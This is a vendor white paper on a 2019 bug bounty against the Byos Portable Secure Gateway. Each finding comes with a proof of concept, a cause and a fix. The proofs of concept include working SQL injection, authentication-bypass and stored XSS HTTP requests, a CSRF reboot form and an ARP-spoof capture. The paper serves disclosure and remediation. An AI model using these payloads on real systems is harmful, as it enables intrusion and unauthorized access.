Byos Bug Bounty Program: Las Vegas 2019

White Paper

Document version: 1.0
August 21st, 2019

1.0 - Introduction

1.1 - Summary

Over the course of 3 days, more than 20 security researchers from North America, South America, and Europe participated in our company's first bug bounty event. The event was by invitation only.

1.2 - Objective

The overall objective of the bug bounty program is to validate the security claims of the Byos Portable Secure Gateway and to discover any existing vulnerabilities in the product and its features. Additional benefits include:

- Practising the company's internal vulnerability handling process
- Increasing our security team's awareness of how attackers approach the security mechanisms of the product
- Learning and validating security development best practices by having active feedback from researchers
- Gathering external expert opinions on the product's feature-set, benefits and use-cases

1.3 - Time and Location

The Bug Bounty took place during August 8-9-10, 2019, in Las Vegas, NV (USA). The event was held off of the strip, away from BlackHat and DEF CON at a private Villa with food and drink provided.

1.4 - Participants

Highlights from the participant list include:

- Gabriel Barbosa, Principal Security Researcher at Intel (USA)
- Gustavo Scotti, Principal Security Researcher at Intel (USA)
- Patrick Mathieu, Offensive Security Lead at Duo Security (USA)
- Colin O'Flynn, CEO of NewAE Technology (Canada)
- Thomas Roth, Founder at keylabs.io (Germany)
- Offensive security team at Pride Security (Brazil)

As well as several independent researchers from around the globe.

1.5 - Reporting method

The participating researchers were required to submit a Proof of Concept (PoC) email to the Byos team describing their methods. To be able to claim a valid finding, the PoC needed to be immediately replicated by one of the Byos staff according to the technique reported by the researcher.

1.6 - Scope

The Las Vegas Byos Bug Bounty was performed on the Byos Portable Secure Gateway (PSG) Beta-prototype. Each researcher was handed an individual device. The vectors of attack included:

- Hardware tampering
- Web-based attacks
- Network protection mechanism bypass

1.7 - Categories

The potential vulnerabilities were classified into different severity levels:

- **Low** - these vulnerabilities have no real impact on the security of the user, but do indicate a minor malfunction in functionality of the product.
  Some examples include: *XSS, CSRF, RFI, broken Web feature*

- **Medium** - these vulnerabilities can cause minimal damage to the user when executed.
  Some examples include: *Stored XSS, LFI, DDoS*

- **High** - these vulnerabilities expose the user's data and indicate flaws in product functionality and security.
  Some examples include: *IDOR, SSRF, Auth Bypass, Breaking the Encryption layer*

- **Critical** - a critical vulnerability is core to the functioning and protection offered by the Byos PSG, leaving the user at maximum exposure.
  Some examples include: *RCE, IDOR, SQLi, or a core protection mechanism bypass*

2.0 - Findings

The following vulnerabilities have been classified in order of descending severity:

2.1 - Critical Vulnerabilities

2.1.1 - Timing ARP Spoof attack

2.1.1.1 - Finding

Researchers managed to intercept HTTP requests sent from a computer behind a Byos PSG to a Web server on the same LAN, by performing a successful MITM attack to the Byos PSG. The majority of the packets were incomplete, however the researchers were able to intercept 5% of the complete packets.

2.1.1.2 - PoC

Here is a dump of the PCAP file showing the incomplete packet interception, showing traffic from the Byos PSG (with an IP address of 192.168.0.162) to a Web server on the same LAN:

61104 466.342842829 192.168.0.162 192.168.0.75 TCP 66 [TCP Out-Of-Order] 50556 → 80 [FIN, ACK] Seq=122 Ack=298 Win=131456 Len=0 TSval=908383332 TSecr=709809718
61105 466.343287585 192.168.0.162 192.168.0.75 TCP 78 [TCP Out-Of-Order] 50557 → 80 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=32 TSval=908383333 TSecr=0 SACK_PERM=1
61176 467.086299290 192.168.0.162 192.168.0.75 TCP 66 [TCP Retransmission] 50556 → 80 [FIN, ACK] Seq=122 Ack=298 Win=131456 Len=0 TSval=908383733 TSecr=709809718
61182 467.090738595 192.168.0.162 192.168.0.75 TCP 66 [TCP Retransmission] 50556 → 80 [FIN, ACK] Seq=122 Ack=298 Win=131456 Len=0 TSval=908383733 TSecr=709809718

2.1.1.3 - Why it happened

The Byos PSG manages a static ARP table for stationary devices on the network, such as Gateways, DNS servers, etc. For non-stationary devices (such as workstations), the Byos PSG cannot handle a static table, since the turnover inside the network is too high. To compensate for that, the Byos PSG handles a dynamic ARP table and checks for changes or external attempts to update said table, at a certain threshold of time.

During the execution of the Bug Bounty, the local Wi-Fi network was under significant stress, due to the intense amount of packets being injected by the participants to perform different tests. Researchers managed to take advantage of said stress on the network to inject poisoned ARP

packets and reach the Byos PSG before it could do its regular checkup. This attack was successful because the checkup threshold used by the Byos PSG was too high, even after our multiple updates and adjustments to this configuration.

2.1.1.4 - How we fixed it

The Byos PSG is currently capable of detecting these attacks, alerting the user, and allowing them to disconnect from the network. However, due to this finding, we will reduce the threshold by which the Byos PSG checks for changes in the ARP table, permanently resolving the issue.

2.2 - High Vulnerabilities

2.2.1 - SQL Injection

2.2.1.1 - Finding

Researchers were able to inject SQL queries in the *"Block Domain Name"* feature of the Byos PSG Web dashboard, through which they could leverage information from the local database that handles said feature. Thanks to the hardening features inside the product, the researchers were not able to pivot the attack, access more databases, download or upload files, or escalate privileges on the Byos PSG through this vulnerability.

2.2.1.2 - PoC

The HTTP request used to successfully exploit the vulnerability is the following:

```
POST /data/addblockdomain.php HTTP/1.1
Host: 10.1.105.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0 Waterfox/56.2.12
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.1.105.1/home
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Authorization:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VySWQiOiJ0ZXN0IiwiY3NyZiI6ImFhYWRleDkxNDFzMGdra3d3c2NzZzA0dzQ0NGdvdzQifQ.PAkOUz4NYA9vOxw2KEWoBGGaj0PUnrouNSzP8PWF4vU
X-Requested-With: XMLHttpRequest
Content-Length: 29
Cookie: username=test; PHPSESSID=586lu2t5uqrc6pdaqqept1b1ee; send_notifications=true
Connection: close
```

*POST Data: blkdnm=**test.com' AND 6217=6217-- ouWn**&action=insert*

2.2.1.3 - Why it happened

This happened due to improper validation of the user input in the *"Block Domain Name"* field, as well as hosting a vulnerable SQL query that interacted with the database in the backend code.

2.2.1.4 - How we fixed it

New server-side validations were put in place to address input validations and database queries in the backend code behind the *"Block Domain Name"* feature. We have also implemented full SDLC practices into our internal development processes to prevent similar errors in the future. In addition, we have also implemented automated tests that will identify future instances automatically, and we have implemented parameterized SQL queries throughout our code.

2.2.2 - Authentication bypass (JWT)

2.2.2.1 - Explanation

Researchers found some parts of the Byos PSG Web dashboard that did not validate the JWT (JSON Web Token) properly, allowing them to re-use a token from another Byos PSG and gain access to other ones.

2.2.2.2 - PoC

The HTTP request used to successfully exploit the vulnerability is the following:

GET /wifilist.php HTTP/1.1
Host: 10.1.105.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0 Waterfox/56.2.12
*Accept: */**
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.1.105.1/home
Authorization:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VySWQiOiJ0ZXN0IiwiY3NyZiI6ImFhYWRleDkxNDFzMGdra3d3c2NzZzA0dzQ0NGdvdzQif0.PAkOUz4NYA9v0xw2KEWoBGGaj0PUnrouNSzP8PWF4vU
X-Requested-With: XMLHttpRequest
Cookie: username=test; PHPSESSID=586lu2t5uqrc6pdaqqept1b1ee; send_notifications=true
Connection: close

2.2.2.3 - Why it happened

The issue happened due to an improper deployment of the JWT validation throughout the web application.

2.2.2.4 - How we fixed it

We added the proper validations to all the files in the Byos PSG Web dashboard so that they only validate the JWT being used in each Byos PSG separately.

Note: This issue had been fixed by our team before the week of the bug bounty. However, due to an error in the update rollout, the fix was not deployed properly, leaving the vulnerability active. The fix has now been deployed properly. To prevent human error, we have improved our internal processes to automatically detect wrong versioning.

2.2.3 - Authentication Bypass (Remember Me)

2.2.3.1 - Explanation

Researchers found an issue with the *"Remember me"* functionality were an authorization bypass could be accomplished by just sending the *"Remember me"* requests at the login page populated with random values.

2.2.3.2 - PoC

The HTTP request used to successfully exploit the vulnerability is the following:

POST /ajxlogin.php HTTP/1.1
Host: 10.1.105.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0 Waterfox/56.2.12
*Accept: */**
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.1.105.1/home
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Authorization:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VySWQiOiJ0ZXN0IiwiY3NyZiI6ImFhYWRleDkxNDFzMGdra3d3c2NzZzA0dz00NGdvdzQifQ.PAkOUz4NYA9vOxw2KEWoBGGaj0PUnrouNSzP8PWF4vU
X-Requested-With: XMLHttpRequest
Content-Length: 54
Cookie: username=test; PHPSESSID=586lu2t5uqrc6pdaqqept1b1ee; send_notifications=true

Connection: close

*POST Data: unm=test&pass=&**remember=ANYTHING&token=s**&action=ulogin*

2.2.3.3 - Why it happened

The vulnerability relies on a lack of server-side validation when the *"Remember me"* functionality is selected. If the *"Remember me"* value was sent to the backend, it would not properly validate the values provided were valid or not, allowing a user to bypass the authentication method.

2.2.3.4 - How we fixed it

We added a proper implementation of the JWT server-side validation to confirm that the correct values were set to authenticate a user. If the provided token is not the user's valid token, then the "Remember Me" request will be denied, and the user will be redirected back to the login screen. In addition, the new JWT is not static and its value rotates regularly, to prevent its reuse.

Note: This issue was fixed by our team before the week of the bug bounty. However, due to an error in the update rollout, the fix was not deployed properly, leaving the vulnerability active. The fix has now been deployed properly. To prevent human error, we have improved our internal processes to automatically detect wrong versioning.

2.3 - Medium Vulnerabilities

2.3.1 - Persistent XSS

2.3.1.1 - Explanation

Researchers were able to inject malicious HTML and Javascript code in the *"Block Domain Name"* feature of the Byos PSG Web dashboard. The malicious request was accepted by the dashboard and then stored in the database. Upon subsequent access to the *"Block Domain Name"* feature, the browser then will interpret the injected code and execute it, causing either Javascript execution or HTML code interpretation persistently.

2.3.1.2 - PoC

The HTTP request used to successfully exploit the vulnerability is the following:

POST /data/addblockdomain.php HTTP/1.1
Host: 10.1.105.1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0 Waterfox/56.2.12
*Accept: */**
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.1.105.1/home
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Authorization:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VySWQiOiJ0ZXN0IiwiY3NyZiI6ImFhYWRleDkxNDFzMGdra3d3c2NzZzA0dzQ0NGdvdzQifQ.PAkOUz4NYA9vOxw2KEWoBGGaj0PUnrouNSzP8PWF4vU
X-Requested-With: XMLHttpRequest
Content-Length: 29
Cookie: username=test; PHPSESSID=586lu2t5uqrc6pdaqqept1b1ee; send_notifications=true
Connection: close

POST data: ***blkdnm=test<script>alert("byos")</script>.com****&action=insert*

2.3.1.3 - Why it happened

This happened due to improper validation of the user input in the *"Block Domain Name"* field, as well as running a vulnerable PHP query that interacted with the Web browser.

2.3.1.4 - How we fixed it

New server-side validations were put in place to address input validations and PHP data processing in the backend code behind the *"Block Domain Name"* feature.

Note: This issue had been fixed by our team before the week of the bug bounty. However, due to an error in the update rollout, the fix was not deployed properly, leaving the vulnerability active. The fix has now been deployed properly. To prevent human error, we have improved our internal processes to automatically detect wrong versioning.

2.4 - Low Vulnerabilities

2.4.1 - Unicode in SSID

2.4.1.1 - Explanation

Researchers were able to broadcast Wi-Fi networks with Unicode characters as part of their SSID (Service Set Identifier) name. When those networks were processed by the Byos PSG when listing available Wi-Fi networks in range, it caused the device to malfunction, truncating the results of the Wi-Fi network list.

2.4.1.2 - PoC

The unicode character used to truncate the list of Wi-Fi networks is *" \uTEST "*

2.4.1.3 - Why it happened

This issue happened because the JSON string parsed by the Javascript code on the Byos PSG Web dashboard tries to convert Unicode characters to their ASCII representation. In some cases where the supplied unicode was a broken unicode, the Javascript cannot process the input causing the process to exit with errors, leaving a truncated list of Wi-Fi networks.

2.4.1.4 - How we fixed it

The solution implemented was to escape the Unicode characters and treat them as regular strings, processing them literally as part of the broadcasted SSID. This malfunction only affected the Web dashboard frontend and the way that the Javascript code listed the Wi-Fi networks. The wireless module was not affected as it remained functioning properly;by simply stopping the Unicode SSID broadcasting, normal Wi-Fi functionality resumed.

2.4.2 - CSRF

2.4.2.1 - Explanation

Researchers were able to remotely reboot a Byos PSG without having authenticated to the device through a CSRF (Cross-Site Request Forgery) attack.

2.4.2.2 - PoC:

This is the code used to trick a user into rebooting their Byos PSG by accessing a remote URL:

```
<html>
 <body>
 <script>history.pushState('', '', '/')</script>
  <form action="http://10.1.105.1/data/reboot.php" method="POST">
   <input type="hidden" name="action" value="reboot" />
   <input type="submit" value="Submit request" />
  </form>
 </body>
</html>
```

2.4.2.3 - Why it happened

The PHP file in charge of rebooting the Byos PSG was not using the JWT to validate an active session. Because of this, the reboot request could be triggered by exploiting a CSRF attack.

2.4.2.4 - How we fixed it

This issue was fixed by implementing the JWT properly on the PHP file in charge of rebooting the Byos PSG. We have also implemented full SDLC practices into our internal development processes to prevent similar errors in the future. In addition, we have also implemented automated tests that will identify future instances automatically.

2.4.3 - Outdated libraries

2.4.3.1 - Explanation

Researchers found that two of the libraries used on the Byos PSG Web dashboard were outdated, and had issued Common Vulnerabilities and Exposures (CVEs).

2.4.3.2 - PoC

The libraries found in the Byos PSG Web dashboard were *Bootstrap 4.1.1* and *jquery 3.2.0*.

2.4.3.3 - Why it happened

External modules and libraries have vulnerabilities of their own, and should be updated regularly. Because none of the vulnerable modules in these libraries are currently used on the Byos PSG Web dashboard, we decided to only update them at the same time as the next update of our own code.

2.4.3.4 - How we fixed it

Although none of the vulnerable modules in these libraries are currently used on the Byos PSG Web dashboard, we upgraded the libraries in question to their most up-to-date version and conducted the proper retests on both functionality and security. We have also included the review, revision and testing of external libraries within our SDLC practices.

3.0 - Conclusion

The Bounty was performed on the Byos Portable Secure Gateway beta-prototype. Some of the Hardware hackers were eager to test their skills against the protoype's hardware security

mechanisms. For the purposes of this bounty, these threat vectors were out of scope; regardless, the researchers provided constructive design and security improvements for the next version of the board. We want to thank the participating researchers for their creative and innovative techniques.

The bounty was a success. Given that the external researchers were looking for vulnerabilities that our team was already aware of, we believe our internal security audits to date have been effective. The findings and results of this bounty will help make significant improvements to our internal SDLC practices and the security mechanisms of the product.

With the help of the global security community, we will continue to test and improve the Portable Secure Gateway through our ongoing bug bounty program.

4.0 - Footnotes

4.1 -Copyright & Trademarks

4.2 - Disclaimer

The contents of this document are subject to revision without notice due to continued progress in methodology, design, and manufacturing. Byos shall have no liability for any errors or damages of any kind resulting from the use of this document.

4.3 - Contact Information

Mkit North America Inc.
1505 Barrington St., Unit 100
Halifax, NS, B3J 3K5, Canada
byos.io/contact

4.4 - About Byos

Byos is a Network Security company based in Halifax, Nova Scotia, Canada. Our team has decades of combined experience providing defensive and offensive security solutions, on-demand incident detection and response services, personalized strategy planning and execution, and high-end, hands-on technical training for both public and private sector clients.

In 2016, we detected a problem with the way devices connect to networks, delegating security to the upper layers of software. We believe that the strongest form of device protection comes from hardware enforced network security and that's why Byos aims to become the market standard for a secure Network Interface Card (NIC), providing security without compromising connection speeds.

As the world becomes more connected, it is our mission to protect the world's most critical assets (energy platforms, biomedical devices, automobiles, ATMs, PoS systems, IoT devices, etc.) from advanced network threats.